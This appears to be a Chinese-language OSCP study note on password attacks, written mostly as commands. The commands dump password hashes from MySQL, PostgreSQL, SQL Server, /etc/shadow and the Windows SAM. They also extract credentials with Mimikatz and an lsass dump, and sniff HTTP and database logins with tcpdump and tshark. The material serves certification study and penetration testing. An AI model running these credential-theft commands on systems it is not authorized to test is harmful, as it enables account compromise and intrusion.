❿⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 密码破解理论（下）

​

-- 标准查询（需适当权限）SELECTuser, authentication_stringFROMmysql.user;-- 旧版本或特定格式SELECTuser, passwordFROMmysql.user;-- 导出到文件（命令行）mysql-u root-p-e "SELECT user, authentication_string FROM mysql.user">hashes.txt

-- 查询用户密码哈希SELECTusename, passwdFROMpg_shadow;-- 导出到文件\copy(SELECTusename, passwdFROMpg_shadow)TO'/tmp/pg_hashes.csv'WITHCSV;

-- SQL ServerSELECTname, password_hashFROMsys.sql_logins;-- 配合解密（需特权）SELECTname,CAST(passwordASvarchar(100))FROMsys.syslogins;

# 读取shadow文件（需root）sudocat/etc/shadow# 仅提取用户名和哈希sudo awk -F:'{print $1":"$2}'/etc/shadow# 备份文件（历史哈希）cat/etc/shadow-# 备份文件cat/etc/passwd# 部分旧系统密码哈希# 提取特定用户sudo grep -E'^(root|admin):'/etc/shadow

# 方法1：使用reg命令导出SAMreg save HKLM\SAM C:\sam.save reg save HKLM\SYSTEM C:\system.save# 方法2：使用Mimikatz（需管理员）privilege::debug token::elevate lsadump::sam# 方法3：PowerShell提取Copy-Item C:\Windows\System32\config\SAM C:\temp\sam.bak Copy-Item C:\Windows\System32\config\SYSTEM C:\temp\system.bak

# 方法1：使用Procdump（微软官方工具）procdump.exe -accepteula -ma lsass.exe lsass.dmp# 方法2：使用Mimikatz（内存提取）mimikatz.exe privilege::debug sekurlsa::logonpasswords full# 方法3：使用Task Manager# 右键lsass.exe → Create dump file

# 提取所有进程内存sudo gcore -o /tmp/core.pid [PID]# 查找特定进程ps aux | grep [process_name]# 提取SSH密钥等sudo strings /proc/[pid]/mem | grep -i"ssh"# 使用LiME内核模块insmod lime.ko"path=/tmp/memdump.lime format=lime"

# 使用tcpdumpsudo tcpdump -i eth0 -s 0 -w capture.pcap port 80 or port 443# 使用tshark过滤tshark -r capture.pcap -Y"http.request.method == POST"-T fields -e http.authbasic# 实时监控HTTP认证sudo tcpdump -i eth0 -A -s 0'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'| grep -E'Authorization:|password=|passwd='

# 提取HTTP Basic认证tshark -r capture.pcap -Y"http.authbasic"-T fields -e http.authbasic |base64-d# 提取Cookie/Sessiontshark -r capture.pcap -Y"http.cookie"-T fields -e http.cookie# 提取表单提交的密码tshark -r capture.pcap -Y"http.request.method == POST"-T fields -e http.file_data | grep -i password

# MySQL认证抓取sudo tcpdump -i eth0 -s 0 -w mysql.pcap port 3306# 分析MySQL握手包tshark -r mysql.pcap -Y"mysql"-T fields -e mysql.auth_response# PostgreSQL认证tshark -r capture.pcap -Y"pgsql"-T fields -e pgsql.auth_response

# 清理提取的哈希值# 移除空格和特殊字符sed -i's/[[:space:]]//g'hashes.txt# 仅保留有效哈希行grep -E'^[a-fA-F0-9]{32,128}$'hashes.txt > clean_hashes.txt# 分割用户名和哈希awk -F:'{print $2 > "hashes_only.txt"}'extracted.txt

# 使用hash-identifierhash-identifier# 粘贴哈希值进行识别# 使用hashidhashid 5f4dcc3b5aa765d61d8327deb882cf99# 文件批量识别hashid -j hashes.txt

破解时间(秒) = 密钥空间大小 ÷ 哈希计算速率(次/秒)

# 验证破解结果$echo"破解出的密码"| hashcat -m 算法ID 目标哈希 --stdout# 比较输出的哈希值与目标是否一致

尝试破解 → 分析结果 → 调整策略 → 再次尝试 ↑ ↓ └───────────────────────────────┘